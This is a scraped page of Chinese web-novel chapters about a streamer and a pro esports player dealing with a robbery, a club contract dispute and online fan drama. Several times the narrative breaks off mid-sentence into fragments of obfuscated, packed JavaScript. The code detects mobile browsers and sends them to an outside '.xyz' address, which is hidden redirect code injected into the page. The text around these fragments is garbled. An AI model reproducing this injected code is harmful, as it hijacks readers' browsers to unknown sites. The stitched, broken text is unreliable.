说着，他把小狗的脸捧了起来，笑嘻嘻地夸它：“哎呀，我们小啃啃怎么这么可爱呢？” 游辛沉默了一小会，轻声说了句“你也是”。 南知意没听清：“你刚刚说什么？” “没什么。”游辛很快地说，“你先和它玩吧。” 他给了南知意一个啃啃平日里很喜欢的狗玩具，自己则走到一边去打起了电话。 过了一会，南知意听到他放下电话问自己：“你的包是上车之前就丢了吗？” “对。”南知意下意识地回答道，“应该是出机场之后被人偷走的。” “证件都在里面？护照，身份证？” 南知意：“是的……”这小偷简直把他的身份证明一窝端了。 游辛说了声“知道了”，回过身继续打电话。 南知意的思绪被他牵走了。他心不在焉地继续陪小狗玩了一会，余光瞥见游辛放下了手机，不由得问：“刚才怎么了？” “打报警电话。”游辛说。 南知意忽然一下想到了什么。他居然把这么大的事给忘了。 “蒙哥！”他霍然一下站起身来。 游辛：“？” “……那个，Meng你还记得么？就是之前你们队里的副C。”南知意摸了摸鼻子，“我和他约好了他来接我，结果他的车在路上坏了，然后他让我打车过来等着，结果我的手机又被抢走了……你能帮我联系他一下，和他报个平安之类的吗？你是不是有他的联系方式来着？” “……”游辛用一种看傻子的眼神看着他，“当然有。因为就是他叫我过来接你的。” 南知意：“？？？” “不然你以为我是在路上刚好碰见你的么？” 南知意：“……” 他真是这么以为的…… 游辛看出来了，但没有点破这一点。“我已经联系过他了。他现在一时间过不来，让你先在我这里住下。”他说，“你现在没有证件也去不了什么地方。” 说着，又递来一个手机：“备用机，里面没插卡，你先用着。看能不能登上微信，给家人报个平安。” 南知意坐车那会只来得及给妈妈发了条微信报平安，几个关系好的朋友还有丽姐到现在都没有他的消息。 他接过游辛的备用机，坐在沙发上捣鼓了一番，而后很悲伤地发现：他不记得自己的微信密码了，没有验证码根本登不上去。 游辛看着他对着微信的登录界面发呆：“登不了？” “对……”南知意丧气地说，“忘记密码了。试了好几个都不对。” 游辛低头在自己的手机上搜了搜，而后打开了自己的微信好友列表。 “给。”他把手机递过来，“看有没有你认识的。” 南知意：“？” “微信好友。”游辛言简意赅道，“找人帮你辅助验证。” 南知意一拍大腿：“对哦！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345655|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他接过手机，一时间不由得庆幸对方和自己算是在一个圈子里，共同的微信好友应该有不少。 果不其然，很快他就看到了一长溜熟悉的名字。 游辛的微信好友绝大部分都是职业选手，外加一些圈里的解说主持之类。 南知意认识的职业选手不算很多，但好歹也有十来个。 “诶，小朋，蛮蛮……好多人啊。”他念着自己眼熟的ID，有点苦恼，“找谁比较好呢？” 游辛：“……” 不知怎么的，他的语气有了一些微妙的变化：“再找一个就可以了。我刚才已经找蒙哥说过了。” “噢噢，好的。” 南知意很快便选定了人选。出于礼貌，他把手机还给了游辛：“你可以帮我说一下么？” 游辛接过手机，发现上面的联系人是【WD.Pigeon】 他思索了一下，打字：【南知意手机丢了，登不上微信。你帮他辅助验证一下】 对面大概正抱着手机冲浪，几秒钟后光速发来回复：【？？？？？？？】 【WD.Pigeon：我靠，小游神诈尸了！！！】 【WD.Pigeon：不会是电信诈骗吧？你是本人吗？？】 【WD.Pigeon：等下，你说谁手机丢了？】 游辛：“……” 几句话没一个在重点上。和这人说话真是费劲。 他把手机再次递到南知意面前：“你给他发句语音。” 说着，按下了语音键。 南知意一时间不知道说什么：“……啊哈哈哈白羽啊是我我手机丢了你一会帮我辅助验证一下啊。” 语气听起来和被绑架了没什么区别。 然后他就看着【WD.Pigeon】变成了【正在输入中】，过了一会又变回【WD.Pigeon】，然后又变回【正在输入中】。 反反复复了好几次，对面终于发来了一串长长的【。。。。。。。。。。】 南知意在心里拼命祈祷他不要乱说话。 好在关键时刻，面对着游辛的微信聊天框，这位“大漏勺”守住了自己的底线，最终很正常地回了一句【好的，一会告诉我验证码我帮你点哈】。 南知意在心里给他点了个大大的赞，心说等回去了一定请他吃饭。 忙活完了辅助验证，看了眼时间，已经是晚上九点了。 一股困意朝南知意袭来。为了倒时差，他先前在飞机上坚持熬了一整晚没睡觉，这会没忍住打了个哈欠。 游辛立刻注意到：“困了？” 南知意眨眨眼：“有点……” “先休息吧，现在等着也没用。”游辛说。 他像是想起了什么，停顿了一下：“我家里只有两张床，可能你要睡在我的房间里。我一会去换新的床品。” 南知意心里一跳，立刻婉拒：“我睡客房就可以了……” “家里没有客房，那张床在啃啃的房间里。它喜欢睡人的床。”游辛说，语气不容拒绝，“你睡我的房间，我和啃啃一起睡。” 南知意愣了愣。主人的确没有让客人睡狗窝的道理。但他记得游辛的睡眠一直很差，半夜有一丁点动静都会突然惊醒。 再低头看看围着两个人的腿脚打转的三个月大的小狗，他内心十分的过意不去：“它晚上会很吵吧。和它一块睡你睡得好吗？” 游辛低头看了眼狗，没什么表情地说：“和你睡我更睡不好。” 南知意：“……………………” 他非常识相地把嘴闭上了。 10. 第 10 章 微信的工作效率还算不错。第二天南知意醒来的时候，发现已经可以登录自己心爱的账号了。 他的朋友很多，小半天没看，里面已经塞了各式各样的问候，大多是问他有没有平稳落地的。 宋蒙给他发来的最后一条信息是【其实我叫yux去接你了，你不会介意吧？这里我只认识他一个人】。 好巧不巧，看到这条消息之前他的手机就被抢了。否则有了心理准备，他一定不会表现得那么手足无措。 而在一众消息中，宋白羽发来的几十条问候格外醒目。 【Pigeon：没事吧兄弟，我听我哥你钱包被人偷了，倒霉哦】 几个小时后。 【Pigeon：卧了个大槽啊，yux诈尸了！！！】 【Pigeon：。。。。】 【Pigeon：？你现在和他在一起？】 【Pigeon：？？？？】 【Pigeon：Mr angel意，你还有多少事瞒着我？我们还是不是好兄弟了？？】 除此以外，还有一个人的消息有些扎眼。 【丘成：小意，你出远门了吗？我看叨叨也不在家。】 【丘成：前几天没上网，才看见那些破事儿。你现在还好吧？】 南知意缓慢地眨了下眼。自从上次的窥屏事件后，他和丘成之间的关系就莫名变得有些僵硬。 丘成说要回老家散心，但其实很快又回到了家里，但迄今为止他都不敢再开播。世界赛刚结束的时候他试探性地播了一次，直播间被冲到设置了快一百个屏蔽词都没用，他的房管们封号封到手抽筋，最后只能继续埋头装死。 南知意挨个回复了他们的消息。 在主卧里自带的卫生间里洗漱时，他收到了宋白羽的回复。 【Pigeon：你知道过去的这十多个小时，我过得有多煎熬吗】 【Pigeon：你们现在是什么个情况？你住在他家里？是不是已经和好了？他是不是已经知道那个视频的事了？要不你们商量一下怎么解决？狠狠打那帮串子的脸！】 宋白羽连珠炮弹似的发问。 南知意想了想，回复道【我觉得他还不知道，他肯定没有看微博】。 【Pigeon：你连他看没看微博都能知道？】 南知意当然知道。游辛从很久之前开始就不看微博了，几百万粉丝的账号里的内容全是由运营代发的，时常透着一股浓浓的人机味，被他的粉丝们戏称为“伪人文学”。 至于原因，那就有些鲜为人知了。 【小意小意：你知道尤青很喜欢演偶像剧吧？这些剧喜欢买营销，天天挂在热搜上。他很不喜欢他哥哥，看见就觉得烦，所以从来不看微博。】 宋白羽又发来一串长长的【。。。。。。。】 南知意出了房间，才发现游辛起得比自己还早，已经完全脱离了电竞选手的作息。 除了他以外，客厅里的沙发上还坐着另一个青年，正在低头看手机。 “蒙哥！”南知意惊喜道，“你怎么过来了？” 宋蒙还穿着外套戴着围巾，明显是刚到没多久。 “车一修好我就过来了。”他放下手机，招呼南知意过来坐下，“怎么样？昨天没被吓到吧。” 南知意把昨天的惊奇遭遇原原本本复述了一遍。宋蒙听完后大笑：“下回直播你可有的聊了。可惜当时没拍下来，不然还能发个vlog。” 两人聊天的时候游辛在旁边和啃啃搏斗，后者正在旋风撕咬一条崭新的毛巾。 南知意瞥了那边一眼，心说这才哪到哪。 “天使意在大街上被先偷后抢”，相较于“天使意在大街上被yux捡回家，yux亲自下厨为其制作三菜一汤”对粉丝们的冲击力，大概只有百分之一那么多。 三个打游戏的聚在一起，能进行的娱乐活动实在不多。 加之现在情况特殊，连去网吧开一局都成问题——最后大家一致决定去附近的海底捞吃顿午饭。 “其实很巧，我也是前几天才刚刚联系上小游的。”包厢里，趁游辛出门去拿小料，宋蒙对南知意说，“上周我登了一下我的欧服账号，那个号是我之前出来比赛的时候训练用的，当时我还在CG，也加了他的好友。一登录我就发现他居然在线，之后聊了几句就联系上了。” 南知意有点惊讶。 毕竟据宋白羽所说，自从宋蒙宣布退役之后，他已经有很长一段时间没有再登录过ROE了。 这个曾经占据了他生命全部的游戏似乎给他带来了某种阴影，让他连再登录自己的账号都很难做到。 “蒙哥你最近在打欧服？”于是南知意试探性地问道。 “是啊。好久没玩了，手生，现在还卡在铂金。”宋蒙语气有点无奈。 这时游辛刚好回来。他一手端着调料碟，另一只手拿着手机，正在把屏幕上的来电显示挂断。 “诶。”宋蒙注意到了，“小游你不接电话吗？” 游辛把手机调成静音，揣回兜里。 “杨磊。”他解释说。 宋蒙顿时露出了然的神情。 “杨磊？”南知意好奇地重复了一遍，“是CG那个经理？stone？” “嗯，是他。”游辛道。 话题自然而然来到了这里。南知意的疑问到了嘴边，最后宋蒙替他问了出来：“小游，你现在和CG那边……是怎么个情况啊？” 游辛坐了下来，用茶水洗碗筷。他言简意赅地说：“CG卡我的合同。” “什么？！”包厢里余下的两人异口同声道。 “我22年底和CG签了三年，童工价。今年是最后一年。”游辛说，“我的意思是我可以再打一年，接受原阵容。但是杨磊想把我租借到MTT去。” 他语气很平淡，仿佛谈论的不是自己身上发生的事。 南知意却已经快从座位上蹦起来了：“可MTT上赛季是倒数啊？！这人是疯了吗？” “他可没疯。”游辛冷漠道，“他和MTT谈的租借价是1300万。我没同意，他就把我按替补了。” “我想，既然他们不想让我上，闲着也是闲着，我干脆就出来上学了。” “…………” 南知意一时间又气愤又想笑，简直不知道该说什么好。 CG经理的一手算盘打得他在M城都听得到—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345656|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初他签约yux是450万三年的童工价，如今却要转手1300万将人卖出去。这1300万的租借费用一分钱都不会分给游辛，而是悉数进了CG老板的腰包里。 而CG想租借人去哪队不好，偏偏是MTT这个全联赛倒数、进季后赛都算祖坟冒青烟的垫底队。 这不是摆明了要他yux去一拖三，当孤儿院院长吗？ 虽然雪藏在电竞圈里算得上是屡见不鲜，但能做到这种地步的，南知意还是头一回见到。 当然，游辛也不是个吃素的。纵观圈里，他大概也是头一个敢和CG这支豪门队伍这样叫板的人。 宋蒙看起来却没有南知意那么惊讶：“你没和他们谈解约吗？” “谈了，没什么用。”游辛说，“他们不愿意放人。” “也是，一两百万的价怎么可能舍得放你走。”宋蒙叹了口气，“CG年年都组争冠阵容，你要是去了排名靠前的队，对他们的威胁可就不是一两百万能解决的事了。” ——所以，才想着把他下放到垫底队里，一手挣钱，一手恶心人，还能一手防止yux带队拿走CG胜券在握的冠军奖杯。 南知意坐在原地，感觉自己脑门上有一根血管在突突地跳。 “那你现在怎么办？就这么硬拖着？”宋蒙继续道，“他们恐怕不会这么轻易放过你。” “刚才还打电话威胁我，说再不归队就起诉。”游辛说，一副很无所谓的模样，“爱起诉就起诉吧，又不是请不起律师。” “你这……哎。”宋蒙也想不出来什么办法，最后只能象征性地安慰道，“真闹到那一步的话，舆论肯定是站在你这边的。CG那帮人不会想在人前和你撕破脸皮的。” “谁知道。反正他们早就不要脸了。” 说到这里，两位CG曾经的核心选手不约而同地沉默了。 直到“啪嗒”一声打破了气氛。南知意把一只虾掉进了锅里。 宋蒙这才注意到，这位平日里话最多最密、能和他的碎嘴弟弟坐一桌的小主播，方才却安静的出奇。 南知意不知怎么，手有点抖，一只虾捞三次都没捞起来。 游辛看了他一眼：“我来吧。” 他用筷子稳稳夹住那只滑溜溜的虾，却没有递给对方，而是放进了自己的盘子里。 接着，戴上手套，三下五除二剥完，抓着虾尾放进了南知意的碗中。 南知意被一只虾打得有点措手不及。他呆了一瞬，下意识道：“哎呀，其实帮我捞起来就好了……” 游辛没理会他的客气：“你吃你的。” “……好的。” 南知意从善如流地把虾塞进了嘴里。游辛则从锅里捞起了第二只虾。 “其实没必要太担心。”他把虾头揪了下来，丢在一旁，“CG以为拿住了合同就按住了我。但合同是死的，人是活的。我有的是办法对付他们。” 说着，仿佛特意说给什么人听一般，顿了顿：“只是现在还不是时候。要再等等。” “…………” 宋蒙在旁边看着这一幕，眉毛微妙地扬了起来。 没记错的话……从很久以前开始，yux好像就有挺严重的洁癖吧？ 11. 第 11 章 接下来的几天里，南知意除了抽空去补办了证件以外，白天跟着宋蒙出门疯玩，晚上则回到游辛家中借住。 他已经很久没有这么放松过了。 以至于再收到丽姐的消息时，已经有了一种恍若隔世的感觉。 【Stars-张丽：小意，全明星的赛程安排出来了。我这边接到通知说yux会正常参加，你有没有认识的人，能提前打探一下yux那边的情况？到时候你们会有一个组队比赛的项目，能借此机会解除一下粉丝之间的误会是最好的】 南知意都快把全明星这件事忘干净了。 投票早在三个月前就已经结束，当时他毫无悬念地拿下了主播组的第一名，领先了第二名整一倍的票数。 选手组那边，yux也已微弱的4w票数差，战胜了来自HYG的冠军主C选手milk。 milk的粉丝对这个名次很不满意，特地挑选了CG输掉决赛后的时间点，在微博上大闹了一通。 身为联赛人气最高的两支战队，CG与HYG的世仇能追溯到整整五年前——2020年，ROE第二届世界邀请赛，HYG在八强赛中输给CG，同年CG夺冠。 当时的CG粉丝对HYG粉丝大加嘲讽，然而次年，HYG在将主C选手更换为新人选手milk以后，在当年的决赛上3比2击败CG，夺得冠军。 决赛惜败后，CG冠军成员陆续出走，在yux到来之前，这支队伍已经一蹶不振很长时间了。 因而HYG粉丝最爱挂在嘴边的一句话便是“milk把老CG打解散了”。 然而南知意觉得他们也没资格嘲讽重组后再次夺亚的CG。毕竟HYG去年烂得更加彻底，连世界赛的名额都没拿到。 纵然结果充满了争议，但天使意和yux要在2v2v2娱乐环节组队参赛已经成为了既定事实。 南知意盯着“打探一下情况”几个字，心想他该怎么回复？说“好巧啊，yux现在就和我在一起呢，等会他下课回来了我就问问他”？ 犹豫了一下，南知意发：【谢谢姐，yux那边我朋友知道一些情况，我可以问他到时候有什么安排】 他没有透露更多游辛现在的情况。 【Stars-张丽：你能联系到他？那太好了】 【Stars-张丽：对了，你最近一定要谨言慎行，尤其全明星赛上，尽量不要提起任何争议性的话题】 【Stars-张丽：有人匿名往我的工作邮箱里发了一封邮件，说那个视频的拍摄者是你认识的人，而且他们很可能还有别的小动作。我猜是你的主播朋友想要提醒你，但不愿意透露自己是谁。总之，最近小心。】 南知意：“？？？” 他有点难以置信，又把丽姐的话从头到尾读了一遍。 自己这是得罪什么人了吗？ 他把自己的疑问发了过去。 【Stars-张丽：不一定是你得罪了什么人。你在roe的流量太大了，眼红你的人很多，大家都是做直播的，谁不想分一杯羹呢？】 【Stars-张丽：好了，在外面就不聊这么多了，你安心玩。有事随时联系我】 - 丽姐的话一直萦绕在南知意的心头，以至于他午睡时做了个噩梦，梦见自己熟悉的几个老粉丝指责他视频内容越来越无聊，质问他是不是钱赚得太多、已经失去做内容主播的初心了。 虽然是梦，醒来之后难免心情不佳。 南知意陪啃啃在客厅里玩了一会，接着发了会呆。 他坐回沙发上打开手机，找出好久没有登录的微博小号，想偷偷搜索自己的名字，看看别人对自己的评价。 然而还没来得及点进搜索框，他就被首页飘红的词条吸引住了目光。 【主播汤圆开团yux】 南知意愣住了。 他又把词条从头到尾读了一遍，确定自己没有看错。 【@主播切片机：爆了！主播汤圆在CG队员面前暴力开团：yux就是路边一条，CG有他没他都一样！ 城主@秋城之主时隔多日复播，与@ROE汤圆 @CG.Wind @CG.beer 四排娱乐。直播过程中汤圆表示：yux现在已经是一个路边的状态了，CG上xww打得不也挺好的？说白了就是吃队友红利，自己被按替补就接受不了了。 节前进行的最后一场常规赛中，CG以大比分2-0拿下对手HYG，目前已豪取春季赛四连胜……】 视频内容是一段直播的切片。 视角是汤圆的直播摄像头。汤圆顶着那头扎眼的黄毛，一只脚踩在电竞椅上，正在边读弹幕边笑： “什么叫我暴力，决赛坑了队友还不让说吗？” “游妈妈别来我直播间洗了。本来当时就是他的问题，没和队友沟通，自己一送整场完蛋。队友辛辛苦苦打了一年，谁愿意看到这个结果？” “意哥？意哥最近不是要闭关吗，不直播啊。” “你们也别扯人家意哥了，还嫌人家被你们害得不够惨啊。” “真以为yux是什么宝贝人人都稀罕啊，意哥平时也就是给你们一个面子。你们天天逮着人家意哥骂，人家能不讨厌你们吗？” 南知意不用看也知道评论区会是个什么鬼样子。 【太爆了吧，他这么说wind和beer两个人一点反应都没有？这不就实锤了CG队内不合吗？】 【早都有人爆料yux现在都不归队了[笑哭]肯定是早就不合了啊】 【beer和wind有点过了吧，再怎么说去年也是一起夺冠的队友。跑去和这种主播四排……】 【别带CG队员哈，这事和他们没关系，是CG和Stars办的活动，要求他们参与，两个人连直播都没开】 【汤圆是天使意的朋友吧，天使意上周还在微博为了那个视频道歉，他这一来不就捶死了天使意就是故意蹭yux热度，背地里其实很讨厌yux吗？】 【说得好像汤圆自己之前没蹭过yux似的】 【这几个人完全是蛇鼠一窝，两面三刀，真恶心】 【我很好奇全明星赛yux还参加吗？要参加的话，他岂不是还要和天使意组队？】 【……不敢想象到时候场面会有多劲爆。】 【yux才不会惯着这种人呢。那嘴和淬了毒似的，已经迫不及待想看他采访的时候会说什么了】 直播是半个小时前刚结束的。南知意感觉自己脑子里嗡嗡作响，血液几乎要涌到脸上。 他退出微博，打开了【永恒联谊大会】的群聊。 【天使意：@ROE汤圆 ？】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345657|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南知意在对话框里删了打，打了删。 他并不擅长和别人撕破脸皮，况且对方还是他相熟的人。 汤圆今年其实只有19岁。 他家庭条件不太好，父母早逝，家里还有一个病重的奶奶，长期需要透析治疗。 家里实在没钱，汤圆读完初中之后就外出打工了，后来阴差阳错地开始在Stars上直播。他签约公会以后，南知意从丘成那里听说了他的情况，便邀请他参与合拍自己的视频。 那时候汤圆统共只有几万粉丝，南知意在他直播的时候和他双排，自己特意不开播，替他引流热度。17岁的小孩子格外诚恳，一口一个“谢谢意哥”，称他是自己直播路上的大恩人。 南知意很郑重地打了长长的一段话：【希望你以后不要在直播里提起我和yux了，你说我讨厌他完全是你的臆测。也许你本意是好的，但是这么做只会加剧两边粉丝的争吵。】 刚点下发送，却发现对话框旁边出现了一个红色感叹号。 【无法在已退出的群聊里发送消息】 汤圆是群聊的群主。 他把自己从群里踢出去了。 南知意愣了愣。 一阵难以描述的荒谬感升上他的心头。 这时，他又想起，当时丘成也在直播间里连麦。 为什么丘成不替他反驳一下汤圆的话呢？明明知道汤圆在曲解自己的意思。 他们认识这么多年了。丘成不可能不知道自己……所以连他也…… “出什么事了？” 背后冷不丁地传来一声。 南知意差点从沙发上跳起来。 游辛抱着啃啃，站在沙发背后，垂眼看着他。 “你什么时候回来的？怎么一点声音都没有，吓我一跳……”南知意摸了摸心口，把手机屏幕熄了。 “刚回来。”游辛把手挡在啃啃和自己的脸中间，阻止它热情洋溢地舔他的下巴，“我进门叫了你两声你都没听见。” 原来是刚才走神了。 “没什么，就是……” 南知意一时之间不知道该怎么解释自己的事，忽然想起丽姐的话：“过几天的全明星赛你要参加吗？” 游辛点了下头：“到时候我会回去。” 南知意拖长了语调：“哦……” “我下午没课。你想和我排两把吗？”游辛向他抛出了橄榄枝，“就当是提前训练了。” - 南知意从没想过全明星这种娱乐赛还能有提前训练的环节。 游辛的电竞房里装了两台电脑。他挑了看起来不常用的那一台，开机登录ROE客户端，登上了八百年没用过的欧服小号。 这个号的好友统共只有孤零零的三个。 “我加你好友吧。”南知意提出。 游辛报出了一串数字。 “你说名字就可以了。”南知意输了两次才把账号输对，他扫了一眼对方的昵称，“诶，你叫d，大、混——” 他话音猛地一顿。 南知意好像知道为什么对方不肯直接报名字了。 屏幕中央，搜索结果的昵称醒目地躺在那里： 【Dahundan No.001】 南知意：“……？” 南知意：“？？？？？” 12. 第 12 章 ROE的2v2v2模式只有一张地图，空中之城。 这个模式也被玩家们称作“大乱斗”——三队玩家分别出生在三座空中悬浮的岛屿上，岛屿之间通过陡峭狭窄的【桥】连接。 该模式的复活点不可移动，玩家必须要在保护己方复活点的同时进攻敌方，淘汰所有敌人即可获得胜利。 一黑一白两个角色挤在小小的出生点上。 南知意所有小号的游戏角色都和他大号一样，顶着一头白发和毛茸茸的耳朵。 游辛的游戏角色则和他本人的发型一模一样，上短下长，微微带点卷曲的弧度，发尾染着渐变灰。只不过眼睛是碧绿色的。 南知意用尽全力想忽略掉面前角色头顶上那个奇妙的ID，然而【Dahundan No.001】仿佛偏不让他顺心似的，一开局就冲到了前面，那串文字从头到尾都在他眼前晃个不停。 南知意：“……” 乱斗模式，两个人的职业选择都很随便。 游辛选了不常玩的【红精灵】，南知意习惯性地选了个【弓箭手】配合他。 然而他全局都心神不宁，十箭只中了一箭，游辛的红精灵已经冲到对面脸上了，他跟在后面过桥，一个没走稳，脚一滑掉了下去。 【弓箭手】AngelYi 摔死了。 “…………”南知意不得不出声解释，“我不是故意的！刚刚走神了。” 下一秒，聊天框里冒出了新的内容。 【[全部]AAApple：You suck】 对手一边走位，一边抽空发了条消息嘲笑他菜。 毕竟在空中之城图里被打掉下桥的人很多，主动跳桥的人还没几个。 “没事。”游辛淡淡道，操纵角色扬起手中的魔法树藤，左右开弓，三下五除二便将对面两人变成了两具躺在地上的尸体。 【[全部]AAApple：？？？】 【[全部]AAApple：wtf？？？】 南知意复活的时候，游辛正好回到家，把对面被击杀后身上掉落的装备带给了他。 不知道是不是由于在比赛上大杀四方的“yux”也是这个形象，【Dahundan No.001】看上去杀气腾腾的，给人一种很不好惹的感觉。 第一局游戏很快结束，两人没有任何悬念地赢了下来。 回到房间，游辛很快点了准备。 “下一把？”他开口问道。 不光嘴上问，还要特意侧过头来看着南知意。 ……南知意感觉自己不能再这么装傻下去了。 “那，那个。” 他眼一闭，心一横，逼迫自己问出了口。 “……你为什么要起这个ID啊？” 游辛静静地看着他，许久没有回话。 南知意不得不忍受着他快要把自己灼穿的目光。 过了很久，游辛终于收回了视线。 “我以为你不会开口问我了。”他语气随意地说道。 南知意：“……” 他果然是故意的！！ 他绝对、肯定、早就看到那个视频了！！ 亏自己还以为他没看微博…… 但仔细想想也是，除了微博，还有那么多社交平台。那段视频早就被营销号传得满天飞了，游辛又不是山顶洞人，怎么可能会没看见…… “对不起。”南知意往桌子上一趴，讪讪说道，“那天我喝多了，不是故意要骂你的……我根本不记得了……” “你说我是，”游辛仿佛要帮他回忆一遍似的，“唔，坏蛋、小王八蛋和大混蛋？” “………………”南知意神色里染上一丝痛苦，“我真的不记得了！我不知道我为什么要说这个……” 游辛一边的眉梢轻微地挑动了一下，仿佛在无声地提出一个疑问。 “决赛那天，你来看我的比赛了。”他忽然指出。 又是一记闷雷。 南知意被他打得措手不及。偏偏游辛还在继续：“你当时拿了一个手幅。” “……”等，等等。 “上面写着，”游辛很刻意地停顿了一下，作出一副要仔细回忆的模样，“‘老公的容貌，妻子的荣耀’？” 南知意感觉自己要喘不过气来了，他这会是真的想找个坑把自己埋了：“对不起！真的对不起……那个不是我写的，我拿到的时候就有了！” 他有气无力道：“求求你别说了……” 游辛看他把脸埋在手臂间，只露出一点红透的耳尖，半晌，仿佛心情很好地笑了笑：“我开玩笑的。你不用和我道歉。” 顿了顿，又轻声道：“除了那天，你假装不认识我。我真的很伤心。” 他的口吻里没有一丁点真在伤心的意思，然而南知意这会已经晕头转向，没有半点思考的能力：“那，怎么办？” “补偿我吧。”游辛几乎是立刻回答道，像是早就有了答案。 “……你想要什么，补偿？” 游辛想了想。 “邀请我上你的节目。”他说，“内容你定。只有我和你。” 天使意这个账号里除了会发南知意自己的科研小成果以外，还会邀请朋友们共同参与拍摄视频。他的朋友们有时充当被害人、被他整蛊，有时和他一起坑害无辜的路人，许多主播、乃至一些职业选手都参与过这个内容。因而，他的粉丝也把这项活动戏称为“上节目”。 南知意停止了把自己的脸在手臂上蹭来蹭去的动作。 他微微抬起头来，露出眼睛：“就，只是这样吗？” 游辛：“如果你还有更好的方案的话。” “不，不不不。”南知意把头抬起来了，换成用小臂挡住半张脸，他含着些许犹疑道，“我发那种视频的话，其实，不太合适。” yux人间蒸发三个月，回来后的第一条消息居然是和主播合拍娱乐视频？这怎么想怎么不合适。 游辛闻言，在座椅上换了个姿势。 “为什么不合适？”他问，“我玩得很烂吗？拿不出手？没节目效果？” 南知意被他这一连串的发问问懵了。他几乎想笑：“不是，你怎么会这么想啊。只是我平时拍这种视频都是找主播朋友一起录的。你回去之后还要继续打比赛的呀，这样容易被带节奏……” “噢。”游辛道，“所以你还是更想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345658|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你的‘朋友’们一起录。” “比如，你那个合租室友？秋城主？是叫这个吧。那天排到他，他玩得简直烂透了。你还选猫挂在他身上。” 南知意：“……”这怎么突然就拉踩上了！！ “还是找经常和你一起直播的月球？硕硕？还是那个汤圆？”游辛继续一个一个往外数名字。 南知意不知道他怎么把自己的朋友们的ID记得这么清楚：“我不是这个意思……” “——就算他们直播的时候带你的节奏，放任你在网上挨骂还无动于衷？” 南知意微微一怔。 “拍个视频吧。什么内容都可以。”游辛平静地说，“澄清一下那些谣言。” 南知意眨了眨眼，心里轻轻一软。 原来根本不是什么“想要补偿”，也不是为了让他难堪才改的ID……他只是想帮自己澄清而已。 他不由得微微垂下了眼，这时游辛又说：“那天凌晨我就看到那个视频了。我当时想发信息澄清这件事，但我的账号不在我手里。” 南知意一愣。 “CG把你的账号拿走了？” “嗯。不光是微博。”游辛说，“我所有平台的账号，Stars，还有亚服的游戏账号，都被他们改了密码。” 南知意更惊讶了：“连游戏账号都拿？” 难怪yux大小号一百多天都没有再登录过，感情是被管理层拿走了，担心他说出什么对俱乐部不利的话。 这对于游辛而言，相当于没有任何手段可以再以“yux”的身份发表言论了。 “你怎么不找人帮你说一下呢？你粉丝一直很担心你啊。”南知意不由得说，“白羽说他在微信上问了你你没有回复他。” “这是我和CG之间的事。我不想把别人卷进节奏里。”游辛说。 “至于WD的Pigeon……”他说着，露出一种有点鄙夷的神情，“不想让他知道。他一知道，差不多全世界都知道了。” 南知意：“……” 这还真是找不到反驳的理由。 “好吧。”最后他败下阵来，妥协道，“我之前刚好有个没来得及拍的灵感……” - 当天晚上，某游戏论坛里。 【全明星赛程安排出了，yux首秀2月14日？这是要正常参加的意思？】 【游粉给你们小游神找好下家了没？别回头真送外卖去了】 【CG粉来说说，你们现在对yux是什么看法】 【赛程出了！yux真的要和天使意搭档，另外两队队员是wind和milk，这下乐子大了】 在首页里飘红的一众日常团建yux的帖子里，有一条的标题格外醒目。 【有人看到yux的欧服账号了吗？他这个新ID“Dahundan No.001”是什么意思？？】 0L（楼主） 还和一个叫“AngelYi”的人双排了一下午？？？ 卧槽，能不能来个人抽醒我啊？我们小游神这是疯了吗？东边不亮西边亮，赛场不行场下行？学习内娱优秀传统，出事了就热热身，准备下海麦麸洗白了是吧？ 13.第 13 章 1L ？ 2L ……？ 能不能编点好的，亚服大舞台已经不够你们编排了是吗？ 3L 放过这个yux吧 人比赛都不打了现在还要怎样 …… 18L 呃，虽然但是，楼主有点冤，这个账号确实是yux本人的账号，23年世界赛训练的时候他用过 [图片] 而且他好几天前就改了这个ID了（ps.这是你们yux家大粉自己发的），但是直到昨天都关着战绩可见，今天下午突然打开了，大家才看到他和天使意双排了一下午 19L ……？？ 来真的啊？小游神？？？ 20L 怎么感觉是真的，排的也是2v2v2模式 